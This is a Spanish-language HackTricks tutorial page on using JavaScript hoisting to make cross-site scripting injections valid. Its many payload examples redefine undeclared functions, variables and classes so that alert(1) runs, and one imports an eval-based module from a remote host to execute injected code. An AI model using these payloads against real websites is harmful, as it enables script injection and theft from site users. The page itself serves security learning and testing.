hacktricks/pentesting-web/xss-cross-site-scripting/js-hoisting.md

8.2 KiB
Raw Blame History

JS Hoisting

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

{% hint style="success" %} El Hoisting de JavaScript se refiere al proceso por el cual el intérprete parece mover la declaración de funciones, variables, clases o importaciones al inicio de su ámbito, antes de la ejecución del código. {% endhint %}

El motor de JavaScript hará (al menos dos) pasadas sobre cualquier script. Esto es una gran simplificación, pero podemos pensar en la ejecución de JS como si consistiera en dos pasos. Primero, el código se analiza, lo que incluye la comprobación de errores de sintaxis y su conversión a un árbol de sintaxis abstracto. Este paso también incluye lo que describimos como hoisting, donde ciertas formas de declaraciones son "movidas" (elevadas) al inicio de la pila de ejecución. Si el código pasa la etapa de análisis, el motor continúa ejecutando el script.

  1. Cualquier código (incluido el payload inyectado) debe adherirse a las reglas de sintaxis. Nada se ejecutará si la sintaxis es inválida en cualquier parte del script final.
  2. El lugar en el que se coloca el código en un script puede ser importante, pero la representación textual de un fragmento de código no es lo mismo que lo que se ejecuta al final por el entorno de ejecución. Cualquier lenguaje puede tener reglas que decidan en qué orden se ejecutan las expresiones.

Los cuatro tipos de hoisting

Volviendo a la descripción del hoisting de MDN, podemos leer que hay cuatro tipos de hoisting en JavaScript. Nuevamente, directamente de MDN:

  1. Poder usar el valor de una variable en su ámbito antes de la línea en la que se declara. ("Hoisting de valor")
  2. Poder hacer referencia a una variable en su ámbito antes de la línea en la que se declara, sin lanzar un ReferenceError, pero el valor siempre es undefined. ("Hoisting de declaración")
  3. La declaración de la variable provoca cambios de comportamiento en su ámbito antes de la línea en la que se declara.
  4. Los efectos secundarios de una declaración se producen antes de evaluar el resto del código que la contiene.

seguido por

Las cuatro declaraciones de funciones anteriores se elevan con comportamiento de tipo 1; la declaración de var se eleva con comportamiento de tipo 2; las declaraciones de let, const, y class (también llamadas colectivamente declaraciones léxicas) se elevan con comportamiento de tipo 3; las declaraciones de import se elevan con comportamiento de tipo 1 y tipo 4.

Escenarios

Por lo tanto, si tienes escenarios donde puedes inyectar código JS después de que se use un objeto no declarado, podrías corregir la sintaxis declarándolo (para que tu código se ejecute en lugar de lanzar un error):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Más Escenarios

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Referencias

Aprende AWS hacking de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: